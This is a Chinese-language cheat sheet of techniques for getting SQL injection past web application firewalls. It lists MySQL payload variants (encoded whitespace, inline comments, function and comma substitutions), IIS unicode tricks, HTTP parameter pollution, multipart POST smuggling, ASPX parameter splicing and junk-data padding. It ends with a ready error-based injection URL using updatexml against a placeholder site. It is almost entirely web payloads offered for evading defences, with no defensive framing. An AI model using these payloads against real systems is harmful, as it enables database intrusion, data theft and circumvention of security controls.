一、数据库层特性
1、Mysql数据库bypass
1.参数和union之间
id=1\Nunion
id=1.1union
id=8e0union
2.union和select之间
union%0aselect
union%09select
union%0bselect
union%0cselect
union%0dselect
union%a0select
union/**/select
union/*!50000*/select
union(select xxxxx)
3.select和from之间
select`id`from
select{x id}from
4.逻辑运算符
AND
OR
XOR
&&(url编码)
||
5.and 1=1形式
and 1*2=2*1
and 3*3!=9*1
6.函数替换
延时函数:benchmark(10000000,sha(1))、sleep(5)
条件函数:case函数、if函数、IFNULL()函数、ELT函数
字符串函数:https://www.runoob.com/mysql/mysql-functions.html
7.单引号替换
反引号
8.逗号替换
limit处的逗号:
limit 1 offset 0
字符串截取处的逗号:
mid(version() from 1 for 1)
union处的逗号:
通过join拼接:select * from (select 1)a join (select{x schema_name} from information_schema.schema limit 1)b;
2、SQL server数据库bypass(没研究过数据库特性)
使用sqlmap的tamper
参考文章:https://www.cnblogs.com/yyxianren/p/12461842.html
3、Oracle数据库bypass(没研究过数据库特性)
使用sqlmap的tamper
参考文章:https://www.cnblogs.com/yyxianren/p/12461842.html
二、服务器层特性
1、IIS服务器
%特性
在iis+asp的环境时,s%elect-->select unicode编码
IIS服务器支持对于unicode解析
尝试:select->s%u006lect
ps:多个%u编码对应一个字符
s%u0065lect ---> select
s%u00f0lect ----> select apache不解析unicode编码
2、apache服务器特性
将GET类型更改为PUT或者其他类型
三、Web应用层特性
1、http参数污染
id=1/*&id=2 and 1=1 #
2、url双重编码
3、将get请求改为post请求,同时更换数据包内容
get请求:
id=payload
Content-Type:application/x-www-form-urlencoded
post请求:
Content-Type:multipart/form-data;boundary=----------ASCSCSC
----------ASCSCSC
Content-Disposition: form-data; name='id'
payload
----------ASCSCSC
4、aspx特性,可将获取的参数进行拼接
/sql.aspx?id=1 union/*
POST:Id=2*/select null,system_user,null
5、WAF特性
对于POST类型注入,可以尝试填充垃圾数据
四、WAF绕过
说明:WAF会更新,可能不适用
1、WTS-WAF
1、union注入
利用+号替换空格
2、报错注入
http://www.xxxx.com/name.php?name=2%27+and+updatexml(1,concat_ws(1,0x7e,(SELECT+user()),0x7e),1)%23